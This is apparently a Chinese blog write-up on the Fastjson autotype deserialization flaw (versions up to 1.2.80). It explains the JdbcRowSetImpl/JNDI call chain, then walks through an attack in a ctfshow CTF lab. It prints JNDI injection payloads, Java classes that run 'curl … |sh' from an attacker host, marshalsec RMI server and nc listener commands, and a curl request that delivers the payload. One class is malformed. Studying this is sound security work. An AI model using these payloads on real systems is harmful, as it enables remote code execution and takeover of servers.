Fastjson 简介

fastjson框架:https://github.com/alibaba/fastjson

fastjson-jndi:https://github.com/earayu/fastjson_jndi_poc

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

提供两个主要接口:

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

image

版本:Fastjson <= 1.2.80

漏洞原理

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。

【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】

FastJson 操作

序列化

image

序列化时,调用了构造方法和get 方法。反序列化时。调用了构造方法。

反序列化

有@type参数,set、get、构造方法都有调用!

image

无@type参数,都未调用。

image

因此能够执行反序列化的根源定位在 @type

【fastjson通过指定@type的值来实现定位某类,而这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法,也造成了这个漏洞的产生】

调用链及payload分析

payload

 //LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
 //RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";

调用链分析

**java类 jdbcRowSetImpl ** 位于 jdk 1.8安装目录下,在rt.jar中。【更高版本不一定存在该文件,请自行尝试】

image

image

查找set,get等类。定位到setAutoCommit()函数

image

由于this.conn 为null,所以会调用this.connect()函数

image

connect()会对dataSourceName属性进行一个InitialContext.lookup (dataSourceName)的操作。

【lookup方法,是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。】

小结

具体说,就是JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作。

调用链流程:

发送payload至执行端,执行端对json数据进行反序列化,由于读取@type参数类,导致执行setAutoCommit(),setAutoCommit()执行了connect()函数。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName)的操作,从而实现rce【加载了远端的恶意class字节码并执行,达到rce效果】。

利用过程

【以ctfshow举办的RealWorldCTF渗透挑战赛第二弹最后一步渗透环境为例】

【也可自行搭建环境,进行测试】

攻击流程

image

整个攻击流程如下:

1. 我们在本地机器编写一个攻击类,并且得到它的class字节码文件M。
2. 通过自定义payload(请求报文),给目标环境A发送攻击请求。
3. 目标环境A对报文中的json数据进行反序列化,触发漏洞,通过RMI服务,造成目标环境A访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit)。
4. 目标机器A加载攻击类M字节码,被攻击,完成rce。

生成并挂载恶意class文件

首先生成恶意class,完成反弹shell任务

import java.lang.Runtime;
import java.lang.Process;

public class ctfshow {
       public static void main(String[] args) {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","curl https://xx.xx.xx.xx:9999 |sh"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
       }
}

或者

public class ctfshow {

    public static void ctfshow() {
        // static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/bash", "-c", "curl https://xx.xx.xx.xx:9999 |sh" };
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
        // }
    }

    public static void main(String[] args) {
    }

}

挂载恶意class

python -m http.server 8888

开启RMI服务(Java远程方法调用),启动监听

【 使用marshalsec工具,搭建RMI环境】

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8888/#ctfshow" 3389

监听反弹

nc -lvvnp 9999

image

发送恶意payload

x.json文件

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:3389/ctfshow",
        "autoCommit":true
    }
}

a.sh文件

curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

使用curl发送json包

image

nc 成功,获得反弹shell

【这里复现的时候,没有成功反弹shell】

【猜测原因:开启RMI服务时,使用的marshalsec-0.0.3-SNAPSHOT-all.jar不正确(网上找的,这里应该自己生成jar包),导致写的攻击脚本没利用上,反弹shell失败】

image

参考链接:

(191条消息) FastJson 反序列化漏洞原理分析_fastjson漏洞原理_Buffedon的博客-CSDN博客

(191条消息) Fastjson反序列化漏洞原理分析及复现_fastjson的反序列化和普通反序列化漏洞的区别是什么_Iwanturoot的博客-CSDN博客

浅析FastJSON反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区-腾讯云 (tencent.com)

Docs (feishu.cn)